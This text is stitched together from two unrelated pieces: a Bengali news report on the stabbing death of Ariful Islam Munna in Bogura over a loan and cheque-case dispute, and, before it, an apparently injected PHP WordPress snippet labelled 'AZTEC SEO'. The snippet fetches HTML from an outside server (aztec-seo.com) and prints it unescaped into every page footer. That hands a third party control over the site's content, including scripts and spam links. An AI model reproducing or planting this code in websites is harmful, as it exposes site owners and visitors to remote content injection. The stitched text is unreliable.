/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
বগুড়ায় পাওনা টাকা নিয়ে মামলা ও বিরোধের জেরে এক ব্যক্তিকে ছুরিকাঘাতে হত্যা করা হয়েছে। আরিফুল ইসলাম মুন্না (৫১) নামের ওই ব্যক্তি মঙ্গলবার (২৪ মার্চ) বেলা পৌনে ১২টার দিকে বগুড়া শহীদ জিয়াউর রহমান মেডিকেল কলেজ (শজিমেক) হাসপাতালে মারা যান।
এর আগে সোমবার (২৩ মার্চ) রাত ১১টার দিকে সদর উপজেলার ফাঁপোড় ইউনিয়নের খন্দকারপাড়ায় হাইস্কুলের সামনে তাকে ছুরিকাঘাতের ঘটনা ঘটে।
ঘটনার সত্যতা নিশ্চিত করেন সদর থানার ইন্সপেক্টর (তদন্ত) মোস্তাফিজ আলম।
পুলিশ ও স্বজনরা জানান, নিহত আরিফুল ইসলাম মুন্না বগুড়া সদর উপজেলার ফাঁপোড় ইউনিয়নের খন্দকারপাড়া গ্রামের মৃত ডা. ইয়াসিন আলীর ছেলে। একই এলাকার আবদুল আজিজের ছেলে আবদুস সায়েম কিছুদিন আগে মুন্নার কাছে কিছু টাকা ধার নেন। নির্দিষ্ট সময়ে টাকা ফেরত না দেওয়ায় মুন্না তার বিরুদ্ধে আদালতে চেক জালিয়াতির মামলা করেন।
এ নিয়ে দু’জনের মধ্যে বিরোধ সৃষ্টি হয়। মামলা তুলে নিতে সায়েম তাকে হুমকি-ধামকি দিয়ে আসছিলেন।
ঘটনার দিন রাত ১১টার দিকে মুন্না গ্রামের হাইস্কুলের সামনে যান। এ সময় পূর্ব বিরোধের জেরে সায়েম ও তার লোকজন মুন্নার ওপর হামলা চালায়। একপর্যায়ে সায়েম ছুরি বের করে মুন্নার পেটে ঢুকিয়ে দিয়ে পালিয়ে যান।
স্থানীয়রা রক্তাক্ত মুন্নাকে উদ্ধার করে বগুড়ার শজিমেক হাসপাতালে ভর্তি করেন। সেখানে চিকিৎসাধীন অবস্থায় মঙ্গলবার বেলা পৌনে ১২টার দিকে তিনি মারা যান।
সদর থানা পুলিশ মরদেহ উদ্ধার করে বগুড়া শজিমেক হাসপাতাল মর্গে পাঠায়।
সদর থানার ইন্সপেক্টর (তদন্ত) মোস্তাফিজ আলম জানান, পাওনা টাকা নিয়ে বিরোধের জেরে সায়েম ছুরিকাঘাত করলে চিকিৎসাধীন অবস্থায় মুন্না মারা যান। মঙ্গলবার বিকাল পর্যন্ত এ ব্যাপারে মামলা হয়নি। আসামিদের আটকে অভিযান অব্যাহত রয়েছে।